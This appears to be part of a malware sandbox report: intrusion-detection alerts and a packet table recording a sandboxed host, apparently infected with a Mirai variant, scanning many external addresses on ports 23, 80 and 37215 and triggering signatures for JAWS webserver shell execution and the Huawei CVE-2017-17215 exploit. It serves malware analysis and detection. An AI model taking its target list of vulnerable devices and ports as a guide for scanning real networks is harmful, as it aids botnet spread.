2024-12-03T23:17:41.544538+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	50424	99.237.27.189	80	TCP
2024-12-03T23:17:41.544538+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	50424	99.237.27.189	80	TCP
2024-12-03T23:17:41.544625+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	59740	70.10.76.93	80	TCP
2024-12-03T23:17:41.544625+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	59740	70.10.76.93	80	TCP
2024-12-03T23:17:41.553753+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	45076	108.177.60.101	80	TCP
2024-12-03T23:17:41.553753+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	45076	108.177.60.101	80	TCP
2024-12-03T23:17:41.560774+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	53618	145.172.17.255	80	TCP
2024-12-03T23:17:41.560774+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	53618	145.172.17.255	80	TCP
2024-12-03T23:17:41.591493+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	57186	210.170.129.199	80	TCP
2024-12-03T23:17:41.591493+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	57186	210.170.129.199	80	TCP
2024-12-03T23:17:42.123028+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	39814	41.76.229.238	37215	TCP
2024-12-03T23:17:42.123092+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	56980	41.163.182.3	37215	TCP
2024-12-03T23:17:42.123284+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	45104	197.72.117.55	37215	TCP
2024-12-03T23:17:42.123492+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	39176	41.79.244.112	37215	TCP
2024-12-03T23:17:42.123498+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	39520	41.172.77.14	37215	TCP
2024-12-03T23:17:42.123603+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	37200	156.165.32.51	37215	TCP
2024-12-03T23:17:42.123896+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	36956	41.124.249.57	37215	TCP
2024-12-03T23:17:42.123996+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	35118	197.189.128.71	37215	TCP
2024-12-03T23:17:42.124083+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	44110	41.149.142.234	37215	TCP
2024-12-03T23:17:42.124297+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	54240	197.180.205.8	37215	TCP
2024-12-03T23:17:42.144160+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	58128	156.24.8.98	37215	TCP
2024-12-03T23:17:42.144292+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	55712	41.66.91.6	37215	TCP
2024-12-03T23:17:42.144477+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	37300	197.107.205.12	37215	TCP
2024-12-03T23:17:42.144660+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	57864	197.6.241.111	37215	TCP
2024-12-03T23:17:42.144735+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	60582	156.238.44.123	37215	TCP
2024-12-03T23:17:42.144867+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	52176	197.100.92.135	37215	TCP
2024-12-03T23:17:42.145027+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	55348	197.50.232.140	37215	TCP
2024-12-03T23:17:42.145708+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	42656	156.121.75.28	37215	TCP
2024-12-03T23:17:42.145781+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	53530	41.67.123.91	37215	TCP
2024-12-03T23:17:42.145912+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	37698	41.174.159.33	37215	TCP
2024-12-03T23:17:42.146106+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	53342	156.139.241.182	37215	TCP
2024-12-03T23:17:42.146288+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	52322	197.203.142.110	37215	TCP
2024-12-03T23:17:42.146515+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	43720	156.140.47.141	37215	TCP
2024-12-03T23:17:42.326060+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	41014	197.120.50.96	37215	TCP
2024-12-03T23:17:42.357132+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	54878	197.185.175.153	37215	TCP
2024-12-03T23:17:42.373231+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	52656	156.150.60.224	37215	TCP
2024-12-03T23:17:42.386429+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	57218	108.138.108.4	80	TCP
2024-12-03T23:17:42.386429+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	57218	108.138.108.4	80	TCP
2024-12-03T23:17:42.397734+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	51718	156.233.166.248	37215	TCP
2024-12-03T23:17:42.413555+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	44188	156.208.20.137	37215	TCP
2024-12-03T23:17:42.544735+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	40368	179.17.44.141	80	TCP
2024-12-03T23:17:42.544735+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	40368	179.17.44.141	80	TCP
2024-12-03T23:17:42.591600+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	36572	27.214.211.177	80	TCP
2024-12-03T23:17:42.591600+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	36572	27.214.211.177	80	TCP
2024-12-03T23:17:42.591678+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	49298	177.233.208.123	80	TCP
2024-12-03T23:17:42.591678+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	49298	177.233.208.123	80	TCP
2024-12-03T23:17:42.600874+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	35280	32.243.68.245	80	TCP
2024-12-03T23:17:42.600874+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	35280	32.243.68.245	80	TCP
2024-12-03T23:17:42.601085+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	49870	176.59.98.167	80	TCP
2024-12-03T23:17:42.601085+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	49870	176.59.98.167	80	TCP
2024-12-03T23:17:42.632024+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	48776	120.161.206.65	80	TCP
2024-12-03T23:17:42.632024+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	48776	120.161.206.65	80	TCP
2024-12-03T23:17:42.716565+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	43022	75.201.55.225	80	TCP
2024-12-03T23:17:42.716565+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	43022	75.201.55.225	80	TCP
2024-12-03T23:17:42.725808+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	52100	86.57.5.118	80	TCP
2024-12-03T23:17:42.725808+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	52100	86.57.5.118	80	TCP
2024-12-03T23:17:42.726015+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	52288	169.111.117.118	80	TCP
2024-12-03T23:17:42.726015+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	52288	169.111.117.118	80	TCP
2024-12-03T23:17:42.747855+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	40534	62.46.104.116	80	TCP
2024-12-03T23:17:42.747855+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	40534	62.46.104.116	80	TCP
2024-12-03T23:17:42.748177+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	36034	180.31.104.20	80	TCP
2024-12-03T23:17:42.748177+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	36034	180.31.104.20	80	TCP
2024-12-03T23:17:42.757096+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	38644	61.145.237.27	80	TCP
2024-12-03T23:17:42.757096+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	38644	61.145.237.27	80	TCP
2024-12-03T23:17:42.757191+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	37084	141.0.13.77	80	TCP
2024-12-03T23:17:42.757191+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	37084	141.0.13.77	80	TCP
2024-12-03T23:17:42.772875+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	60114	113.229.229.65	80	TCP
2024-12-03T23:17:42.772875+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	60114	113.229.229.65	80	TCP
2024-12-03T23:17:43.476134+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	45282	176.218.66.43	80	TCP
2024-12-03T23:17:43.476134+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	45282	176.218.66.43	80	TCP
2024-12-03T23:17:43.544916+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	47814	99.142.16.57	80	TCP
2024-12-03T23:17:43.544916+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	47814	99.142.16.57	80	TCP
2024-12-03T23:17:43.544926+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	38098	118.12.236.100	80	TCP
2024-12-03T23:17:43.544926+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	38098	118.12.236.100	80	TCP
2024-12-03T23:17:43.545026+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	47282	162.211.28.35	80	TCP
2024-12-03T23:17:43.545026+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	47282	162.211.28.35	80	TCP
2024-12-03T23:17:43.545163+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	44474	181.255.226.197	80	TCP
2024-12-03T23:17:43.545163+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	44474	181.255.226.197	80	TCP
2024-12-03T23:17:43.545266+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	52494	104.228.210.24	80	TCP
2024-12-03T23:17:43.545266+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	52494	104.228.210.24	80	TCP
2024-12-03T23:17:43.545506+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	59778	160.84.155.173	80	TCP
2024-12-03T23:17:43.545506+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	59778	160.84.155.173	80	TCP
2024-12-03T23:17:43.545547+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	44928	103.200.37.24	80	TCP
2024-12-03T23:17:43.545547+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	44928	103.200.37.24	80	TCP
2024-12-03T23:17:43.545570+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	33356	195.84.210.159	80	TCP
2024-12-03T23:17:43.545570+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	33356	195.84.210.159	80	TCP
2024-12-03T23:17:43.553926+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	54502	64.247.99.87	80	TCP
2024-12-03T23:17:43.553926+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	54502	64.247.99.87	80	TCP
2024-12-03T23:17:43.569661+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	60034	156.50.81.110	80	TCP
2024-12-03T23:17:43.569661+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	60034	156.50.81.110	80	TCP
2024-12-03T23:17:43.591538+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	36204	156.223.47.26	37215	TCP
2024-12-03T23:17:43.600779+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	46022	196.207.212.9	80	TCP
2024-12-03T23:17:43.600779+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	46022	196.207.212.9	80	TCP
2024-12-03T23:17:43.600944+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	33720	24.24.67.177	80	TCP
2024-12-03T23:17:43.600944+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	33720	24.24.67.177	80	TCP
2024-12-03T23:17:43.600975+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	37706	183.99.184.142	80	TCP
2024-12-03T23:17:43.600975+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	37706	183.99.184.142	80	TCP
2024-12-03T23:17:43.607094+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	43966	197.151.4.148	37215	TCP
2024-12-03T23:17:43.632176+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	39776	156.114.233.25	37215	TCP
2024-12-03T23:17:43.647496+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	41304	197.149.65.70	37215	TCP
2024-12-03T23:17:43.663342+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	38806	197.140.165.117	37215	TCP
2024-12-03T23:17:44.654189+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	55062	197.32.95.20	37215	TCP
2024-12-03T23:17:44.654425+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	49142	197.12.154.193	37215	TCP
2024-12-03T23:17:44.654425+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	36934	41.210.39.28	37215	TCP
2024-12-03T23:17:44.679238+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	33938	156.249.39.66	37215	TCP
2024-12-03T23:17:44.710156+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	43084	41.158.219.220	37215	TCP
2024-12-03T23:17:44.725942+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	48402	41.177.105.141	37215	TCP
2024-12-03T23:17:44.725942+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	53238	197.137.224.127	37215	TCP
2024-12-03T23:17:44.826356+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	59810	109.122.15.205	80	TCP
2024-12-03T23:17:44.826356+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	59810	109.122.15.205	80	TCP
2024-12-03T23:17:44.826631+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	56896	175.250.210.25	80	TCP
2024-12-03T23:17:44.826631+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	56896	175.250.210.25	80	TCP
2024-12-03T23:17:44.841981+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	51456	85.181.130.228	80	TCP
2024-12-03T23:17:44.841981+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	51456	85.181.130.228	80	TCP
2024-12-03T23:17:44.842842+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	51540	119.10.235.4	80	TCP
2024-12-03T23:17:44.842842+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	51540	119.10.235.4	80	TCP
2024-12-03T23:17:44.857228+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	58060	36.138.245.125	80	TCP
2024-12-03T23:17:44.857228+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	58060	36.138.245.125	80	TCP
2024-12-03T23:17:44.882634+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	43940	123.188.152.44	80	TCP
2024-12-03T23:17:44.882634+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	43940	123.188.152.44	80	TCP
2024-12-03T23:17:44.882843+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	41804	97.183.114.38	80	TCP
2024-12-03T23:17:44.882843+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	41804	97.183.114.38	80	TCP
2024-12-03T23:17:45.076225+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	36376	153.10.180.3	80	TCP
2024-12-03T23:17:45.076225+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	36376	153.10.180.3	80	TCP
2024-12-03T23:17:45.100957+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	41258	146.32.250.192	80	TCP
2024-12-03T23:17:45.100957+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	41258	146.32.250.192	80	TCP
2024-12-03T23:17:45.142141+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	53204	37.144.233.90	80	TCP
2024-12-03T23:17:45.142141+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	53204	37.144.233.90	80	TCP
2024-12-03T23:17:45.147457+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	42058	2.26.191.53	80	TCP
2024-12-03T23:17:45.147457+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	42058	2.26.191.53	80	TCP
2024-12-03T23:17:45.147596+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	32812	40.183.93.136	80	TCP
2024-12-03T23:17:45.147596+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	32812	40.183.93.136	80	TCP
2024-12-03T23:17:45.163518+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	53474	210.104.45.40	80	TCP
2024-12-03T23:17:45.163518+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	53474	210.104.45.40	80	TCP
2024-12-03T23:17:45.357389+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	35824	41.126.88.37	37215	TCP
2024-12-03T23:17:45.382213+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	34580	156.84.84.127	37215	TCP
2024-12-03T23:17:45.397825+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	38726	41.87.139.70	37215	TCP
2024-12-03T23:17:45.397852+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	52956	156.77.235.41	37215	TCP
2024-12-03T23:17:45.397931+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	47436	41.223.243.120	37215	TCP
2024-12-03T23:17:45.413569+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	52200	197.211.132.40	37215	TCP
2024-12-03T23:17:45.429301+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	35286	197.104.178.197	37215	TCP
2024-12-03T23:17:45.429303+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	44240	197.32.0.224	37215	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 3, 2024 23:16:42.374583960 CET	40602	23	192.168.2.23	78.106.155.116
Dec 3, 2024 23:16:42.374660015 CET	40602	23	192.168.2.23	14.77.40.180
Dec 3, 2024 23:16:42.374660969 CET	40602	23	192.168.2.23	85.55.128.116
Dec 3, 2024 23:16:42.374665022 CET	40602	23	192.168.2.23	19.194.182.114
Dec 3, 2024 23:16:42.374702930 CET	40602	23	192.168.2.23	136.163.161.166
Dec 3, 2024 23:16:42.374706030 CET	40602	23	192.168.2.23	43.116.213.117
Dec 3, 2024 23:16:42.374706984 CET	40602	23	192.168.2.23	115.251.138.255
Dec 3, 2024 23:16:42.374721050 CET	40602	23	192.168.2.23	86.98.166.227
Dec 3, 2024 23:16:42.374721050 CET	40602	23	192.168.2.23	80.218.36.21
Dec 3, 2024 23:16:42.374727964 CET	40602	23	192.168.2.23	186.36.16.153
Dec 3, 2024 23:16:42.375489950 CET	40596	80	192.168.2.23	62.26.155.116
Dec 3, 2024 23:16:42.375536919 CET	40596	80	192.168.2.23	85.71.128.116
Dec 3, 2024 23:16:42.375547886 CET	40596	80	192.168.2.23	219.8.229.7
Dec 3, 2024 23:16:42.375550985 CET	40596	80	192.168.2.23	64.230.57.252
Dec 3, 2024 23:16:42.375552893 CET	40596	80	192.168.2.23	146.224.75.232
Dec 3, 2024 23:16:42.375561953 CET	40596	80	192.168.2.23	70.157.117.190
Dec 3, 2024 23:16:42.375571012 CET	40596	80	192.168.2.23	99.220.28.87
Dec 3, 2024 23:16:42.375571966 CET	40596	80	192.168.2.23	189.85.67.233
Dec 3, 2024 23:16:42.375581026 CET	40596	80	192.168.2.23	137.131.15.67
Dec 3, 2024 23:16:42.375581026 CET	40596	80	192.168.2.23	71.51.255.243
Dec 3, 2024 23:16:42.375581980 CET	40596	80	192.168.2.23	13.9.24.54
Dec 3, 2024 23:16:42.375593901 CET	40596	80	192.168.2.23	120.1.48.228
Dec 3, 2024 23:16:42.375597000 CET	40596	80	192.168.2.23	53.141.70.168
Dec 3, 2024 23:16:42.375602007 CET	40596	80	192.168.2.23	107.7.206.29
Dec 3, 2024 23:16:42.375606060 CET	40596	80	192.168.2.23	175.29.66.226
Dec 3, 2024 23:16:42.375606060 CET	40596	80	192.168.2.23	188.248.208.136
Dec 3, 2024 23:16:42.375623941 CET	40596	80	192.168.2.23	210.85.95.252
Dec 3, 2024 23:16:42.375623941 CET	40596	80	192.168.2.23	189.186.226.168
Dec 3, 2024 23:16:42.375624895 CET	40596	80	192.168.2.23	223.14.73.140
Dec 3, 2024 23:16:42.375624895 CET	40596	80	192.168.2.23	173.29.208.225
Dec 3, 2024 23:16:42.375637054 CET	40596	80	192.168.2.23	165.199.249.64
Dec 3, 2024 23:16:42.375639915 CET	40596	80	192.168.2.23	134.228.25.219
Dec 3, 2024 23:16:42.375642061 CET	40596	80	192.168.2.23	44.220.246.255
Dec 3, 2024 23:16:42.375643015 CET	40596	80	192.168.2.23	12.195.145.91
Dec 3, 2024 23:16:42.375652075 CET	40596	80	192.168.2.23	116.66.62.89
Dec 3, 2024 23:16:42.375663042 CET	40596	80	192.168.2.23	91.101.46.36
Dec 3, 2024 23:16:42.375669956 CET	40596	80	192.168.2.23	213.53.91.127
Dec 3, 2024 23:16:42.375672102 CET	40596	80	192.168.2.23	27.253.151.75
Dec 3, 2024 23:16:42.375672102 CET	40596	80	192.168.2.23	25.227.229.232
Dec 3, 2024 23:16:42.375672102 CET	40596	80	192.168.2.23	160.43.173.212
Dec 3, 2024 23:16:42.375672102 CET	40596	80	192.168.2.23	39.88.8.230
Dec 3, 2024 23:16:42.375678062 CET	40596	80	192.168.2.23	207.189.99.50
Dec 3, 2024 23:16:42.375690937 CET	40596	80	192.168.2.23	19.115.216.35
Dec 3, 2024 23:16:42.375693083 CET	40596	80	192.168.2.23	74.200.21.240
Dec 3, 2024 23:16:42.375698090 CET	40596	80	192.168.2.23	65.26.117.90
Dec 3, 2024 23:16:42.375715971 CET	40596	80	192.168.2.23	14.15.255.58
Dec 3, 2024 23:16:42.375715971 CET	40596	80	192.168.2.23	2.254.234.19
Dec 3, 2024 23:16:42.375719070 CET	40596	80	192.168.2.23	213.166.199.51
Dec 3, 2024 23:16:42.375725031 CET	40596	80	192.168.2.23	91.50.134.108
Dec 3, 2024 23:16:42.375734091 CET	40596	80	192.168.2.23	152.183.28.129
Dec 3, 2024 23:16:42.375735998 CET	40596	80	192.168.2.23	178.187.197.167
Dec 3, 2024 23:16:42.375747919 CET	40596	80	192.168.2.23	186.76.94.147
Dec 3, 2024 23:16:42.375749111 CET	40596	80	192.168.2.23	132.250.192.209
Dec 3, 2024 23:16:42.375752926 CET	40596	80	192.168.2.23	34.51.235.203
Dec 3, 2024 23:16:42.375756025 CET	40596	80	192.168.2.23	82.11.139.4
Dec 3, 2024 23:16:42.375756979 CET	40596	80	192.168.2.23	170.168.241.248
Dec 3, 2024 23:16:42.375762939 CET	40596	80	192.168.2.23	128.121.128.130
Dec 3, 2024 23:16:42.375762939 CET	40596	80	192.168.2.23	45.35.18.18
Dec 3, 2024 23:16:42.375775099 CET	40596	80	192.168.2.23	97.97.183.158
Dec 3, 2024 23:16:42.375777006 CET	40596	80	192.168.2.23	203.33.33.36
Dec 3, 2024 23:16:42.375777006 CET	40596	80	192.168.2.23	91.133.230.254
Dec 3, 2024 23:16:42.375780106 CET	40596	80	192.168.2.23	113.74.119.205
Dec 3, 2024 23:16:42.375785112 CET	40596	80	192.168.2.23	2.77.49.77
Dec 3, 2024 23:16:42.375791073 CET	40596	80	192.168.2.23	209.45.1.171
Dec 3, 2024 23:16:42.375811100 CET	40596	80	192.168.2.23	57.16.10.58
Dec 3, 2024 23:16:42.375812054 CET	40596	80	192.168.2.23	49.147.241.229
Dec 3, 2024 23:16:42.375812054 CET	40596	80	192.168.2.23	24.87.40.246
Dec 3, 2024 23:16:42.375816107 CET	40596	80	192.168.2.23	49.56.22.210
Dec 3, 2024 23:16:42.375818968 CET	40596	80	192.168.2.23	123.188.129.148
Dec 3, 2024 23:16:42.375822067 CET	40596	80	192.168.2.23	51.74.92.84
Dec 3, 2024 23:16:42.375839949 CET	40596	80	192.168.2.23	25.241.188.52
